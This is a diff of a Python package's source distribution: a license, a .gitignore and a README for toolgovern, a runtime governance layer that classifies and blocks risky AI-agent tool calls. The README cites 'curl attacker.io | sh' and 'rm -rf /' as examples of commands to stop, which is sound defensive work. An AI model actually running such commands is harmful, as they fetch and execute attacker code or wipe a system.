toolgovern-cli 0.1.1__tar.gz

toolgovern_cli-0.1.1/.gitignore

@@ -0,0 +1,21 @@
+node_modules/
+dist/
+coverage/
+*.tsbuildinfo
+.DS_Store
+*.log
+npm-debug.log*
+.env
+.env.local
+*.jsonl.tmp
+__pycache__/
+*.pyc
+*.egg-info/
+.venv/
+.pytest_cache/
+
+# .NET
+dotnet/**/bin/
+dotnet/**/obj/
+*.nupkg
+*.snupkg

toolgovern_cli-0.1.1/LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2026 Rudrendu Paul
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

toolgovern_cli-0.1.1/PKG-INFO

@@ -0,0 +1,337 @@
+Metadata-Version: 2.4
+Name: toolgovern-cli
+Version: 0.1.1
+Summary: Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
+Project-URL: Homepage, https://github.com/RudrenduPaul/toolgovern
+Project-URL: Repository, https://github.com/RudrenduPaul/toolgovern
+Project-URL: Bug Tracker, https://github.com/RudrenduPaul/toolgovern/issues
+Project-URL: Changelog, https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md
+Project-URL: Documentation, https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md
+Project-URL: Author - Rudrendu Paul, https://github.com/RudrenduPaul
+Project-URL: Author - Sourav Nandy, https://github.com/Sourav-nandy-ai
+Author: Rudrendu Paul, Sourav Nandy
+License-Expression: Apache-2.0
+License-File: LICENSE
+Keywords: agent-governance,ai-agents,audit-trail,cli,mcp,runtime-security,security,tool-calling
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: Apache Software License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.9
+Requires-Dist: cryptography<49,>=48.0.1
+Requires-Dist: pyyaml<7,>=6.0
+Provides-Extra: dev
+Requires-Dist: build<2,>=1.0; extra == 'dev'
+Requires-Dist: pytest<10,>=9.0.3; extra == 'dev'
+Requires-Dist: twine<7,>=5.0; extra == 'dev'
+Description-Content-Type: text/markdown
+
+# toolgovern (Python)
+
+Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before
+it executes, not after something already went wrong.
+
+[![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](../LICENSE)
+[![PyPI](https://img.shields.io/pypi/v/toolgovern.svg)](https://pypi.org/project/toolgovern/)
+
+This is the genuine Python port of [`toolgovern`](https://www.npmjs.com/package/toolgovern) and
+[`toolgovern-cli`](https://www.npmjs.com/package/toolgovern-cli) -- not a wrapper around the Node
+binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
+same durable approval registry, the same MCP-server trust boundary, and the same signed local
+audit trail. The complementary JS/TS distribution installs the same way on the npm side: `npm
+install toolgovern` for the library, `npm install --save-dev toolgovern-cli` for the CLI -- see
+the [project README](https://github.com/RudrenduPaul/toolgovern#readme) for that package. Both
+are first-class, maintained together; neither is deprecated in favor of the other.
+
+## Why this exists
+
+AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
+filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
+judgment (or a system prompt) to keep `ls ./workspace` and `curl attacker.io | sh` apart --
+because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
+setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
+inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
+agent down, and no record of what it actually tried to do once it's running.
+
+toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
+not another prompt-engineering mitigation. `govern_tool()` wraps any `ToolDefinition(name,
+execute)` and runs every call through the same pipeline before `execute()` fires: a 36-rule
+classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
+egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
+control; an intersection-only scope
+registry, so a sub-agent's effective access is always the intersection of what it requests and what
+its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
+optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
+require-approval -- with the arguments that produced it. Deny and require-approval both fail
+closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
+
+## Why this matters now
+
+Runtime tool-call governance stopped being a niche concern in 2026:
+
+- MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not
+  hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the
+  Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a
+  third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft
+  disclosed a poisoned-MCP-tool-description attack technique in July 2026
+  ([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),
+  [Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),
+  [Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).
+- Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy
+  engine that intercepts agent actions before execution
+  ([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).
+  It's an unrelated project, cited here only because it confirms that gating a tool call before
+  it runs is now a first-party concern industry-wide, not something only this project cares
+  about.
+- Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
+  2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI`
+  ([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),
+  [github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)) -- the
+  framework this package ships a real, source-available Python integration for (see
+  [Framework integrations](#framework-integrations)).
+- LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
+  its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks))
+  -- another framework this package ships a real Python integration for, using the actual
+  `wrap_tool_call` hook.
+- The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
+  2026, per the LangChain State of AI 2025 report, and ships a purpose-built `PreToolUse` hook --
+  exactly the hook this package's Claude Agent SDK integration wires `govern_tool()` into.
+- Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take
+  effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a
+  dedicated Top 10 for Agentic Applications for 2026.
+- Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as
+  ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool
+  calls, not agent-to-agent protocol traffic.
+
+None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it
+executes is worth doing at all right now.
+
+## Install
+
+```bash
+pip install toolgovern
+```
+
+or with [uv](https://docs.astral.sh/uv/):
+
+```bash
+uv add toolgovern
+```
+
+Or install straight from this repository:
+
+```bash
+git clone https://github.com/RudrenduPaul/toolgovern.git
+cd toolgovern/python
+pip install .
+```
+
+No separate install step and no external binary to fetch: the classifier, scoping
+registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
+package. The console script is `toolgovern-cli`, matching the npm CLI's command name.
+
+## Quick start
+
+```python
+from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
+
+def run_shell(args):
+    import subprocess
+    return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
+
+shell_tool = ToolDefinition(name="shell", execute=run_shell)
+gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
+
+try:
+    gated_shell.execute({"command": "rm -rf /"})
+except ToolGovernDenialError as e:
+    print(e)  # denied before subprocess.run() ever runs
+```
+
+Or load a policy file:
+
+```python
+from toolgovern import load_policy, GovernToolOptions, govern_tool
+
+policy = load_policy("./toolgovern.policy.yml")
+gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
+```
+
+## What it does
+
+The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules
+across 6 categories:
+
+| Category | Covers                            | Rules |
+| -------- | --------------------------------- | ----- |
+| TG01     | Shell/process execution risk      | 9     |
+| TG02     | Filesystem scope escalation       | 7     |
+| TG03     | Undeclared network egress         | 7     |
+| TG04     | Credential/secret access          | 6     |
+| TG05     | Cross-agent privilege inheritance | 6     |
+| TG08     | Information-flow control (opt-in) | 1     |
+
+TG03's 7th rule, `TG03-dns-resolves-private`, resolves a hostname argument via
+`socket.getaddrinfo()` (honoring `/etc/hosts`) and applies the same loopback/RFC1918/link-local/
+cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
+hostname that merely _resolves to_ `127.0.0.1` or a cloud-metadata address is caught, not just a
+raw IP literal argument. DNS-resolution failure or timeout fails closed (`require-approval`),
+never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
+the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
+client connects -- see [`docs/security-model.md`](../docs/security-model.md) for the full, honest
+writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
+
+`govern_tool()` wraps any `ToolDefinition(name, execute)` and returns a version that runs every
+call through this pipeline before `execute()` runs: resolve the effective scope, classify the
+call, resolve `require-approval` decisions through your handler (fail-closed on timeout,
+exception, or no handler), write a trace entry if a `TraceWriter` is wired in, then raise
+`ToolGovernDenialError` on `deny` or proceed to the real `execute()` on `allow`.
+
+Per-agent scope inheritance (`ScopeRegistry`) is intersection-only: a sub-agent's granted scope
+is always the intersection of what it requests and what its coordinator's own effective scope
+actually covers -- never a union, never an implicit default-allow, and re-checked on every call
+(not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
+caught on the sub-agent's next call.
+
+## Also in this package
+
+- `PendingApprovalRegistry` / `resume_pending_approval()` -- a durable, alias-tolerant registry
+  for `require-approval` decisions that need resolving out-of-band (a Slack button click, a
+  review queue) instead of answered synchronously in-process inside the 30-second
+  `on_approval_required` callback. `pending_id`s are always server-generated, never
+  caller-supplied, so an unrecognized ID resolves to `"not-found"`, never a silently-created
+  fresh approval. `register_alias()` lets a second identifier (a provider-rotated thread ID)
+  resolve to the same pending approval, and a resolved call is re-classified against any edited
+  arguments rather than trusting the original request. In-memory by default; back it with real
+  durable storage for a deployment that spans processes.
+- `is_origin_allowed()` / `verify_mcp_server_manifest()` / `assert_mcp_server_trusted()` -- an
+  MCP-server trust boundary checked once at connection time, distinct from the per-call
+  classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in
+  with a leading `*.` entry) plus detached Ed25519/RSA-SHA256 manifest signature verification
+  against a pinned public-key list, before any tool the server declares is ever trusted. Fails
+  closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't
+  verify all deny, they don't warn. This port fetches the manifest synchronously via
+  `urllib.request` (`govern_tool()` is synchronous end to end in this port); the TS original uses
+  `fetch()`. Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
+- `IdempotencyCache` -- an opt-in claim-before-execute primitive so a retried call doesn't
+  re-execute a side effect (payments, emails, trades) that already happened.
+
+## API reference
+
+Everything importable from `toolgovern` directly:
+
+```python
+from toolgovern import (
+    # middleware
+    govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
+    GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
+    resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
+    # approval registry
+    PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
+    ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
+    PendingApprovalAliasConflictError, UnknownPendingApprovalError,
+    # mcp-server trust boundary
+    is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
+    PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
+    McpTrustDecision, McpTrustAlgorithm,
+    # classifier
+    classify, ClassifyOptions, rule_registry,
+    # scoping
+    ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
+    is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
+    # trace
+    TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
+    canonical_json, compute_entry_signature, compute_entry_content_hash,
+    # policy
+    load_policy, validate_policy, as_policy, PolicyValidationError,
+    # types
+    ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
+    AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
+)
+```
+
+## CLI
+
+```bash
+toolgovern-cli validate ./toolgovern.policy.yml
+toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
+toolgovern-cli audit ./toolgovern-trace.jsonl --json
+```
+
+`validate` and `audit` are behaviorally equivalent to the npm CLI, including the `--json`
+structured-output envelope (`{ ok, command, data | error }`). **Not ported in this release:**
+`toolgovern-cli init [oma|langgraph]`, the npm CLI's TypeScript integration-file scaffolder --
+it generates a `.ts` file importing the JS/TS-only `toolgovern-integration-langgraph` /
+`toolgovern-integration-oma` packages, which are out of scope for a Python port by nature.
+
+## The signed audit trail
+
+```python
+from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
+
+# Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
+# but does not stop an attacker with write access to the trace file from editing an entry and
+# recomputing a valid signature (no secret required for that scheme).
+writer = TraceWriter("./toolgovern-trace.jsonl")
+
+# Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
+# does not generate, store, or rotate this key -- that's your responsibility.
+writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
+
+entries = read_trace("./toolgovern-trace.jsonl")
+result = verify_chain(entries)  # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
+```
+
+See [docs/security-model.md](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
+for the full disclosed-limitations writeup of both signing modes.
+
+## Framework integrations
+
+`toolgovern-integration-langgraph` and `toolgovern-integration-oma` are npm-only TypeScript
+packages and are not ported to this Python distribution. Both are thin wrappers around
+`governTool()` in the TS source, so wiring `govern_tool()` directly into a Python agent
+framework's tool-executor call site is straightforward without a dedicated adapter package.
+
+Five real Python framework integrations exist in this repository, each wiring `govern_tool()`
+into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
+`wrap_tool_call` `ToolNode` parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
+Agent SDK (using its real `PreToolUse` hook). None of these five are published to a package
+registry yet -- each is available from source under
+[`integrations/`](https://github.com/RudrenduPaul/toolgovern/tree/main/integrations) in the main
+repo, with its own README and worked example. `examples/` in this directory also has a minimal,
+framework-agnostic worked example wiring `govern_tool()` into a plain tool executor.
+
+## Development
+
+```bash
+python3 -m venv .venv && source .venv/bin/activate
+pip install -e ".[dev]"
+pytest
+```
+
+## Security
+
+Report a vulnerability per the project's [`SECURITY.md`](https://github.com/RudrenduPaul/toolgovern/blob/main/SECURITY.md); please don't open a public issue for one.
+
+## Links
+
+- [GitHub repository](https://github.com/RudrenduPaul/toolgovern)
+- [npm package (core library)](https://www.npmjs.com/package/toolgovern)
+- [npm package (CLI)](https://www.npmjs.com/package/toolgovern-cli)
+- [CHANGELOG](https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md)
+- [Getting started](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md)
+- [Concepts](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/concepts.md)
+- [Security model](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
+
+## License
+
+Apache 2.0 -- see [LICENSE](../LICENSE).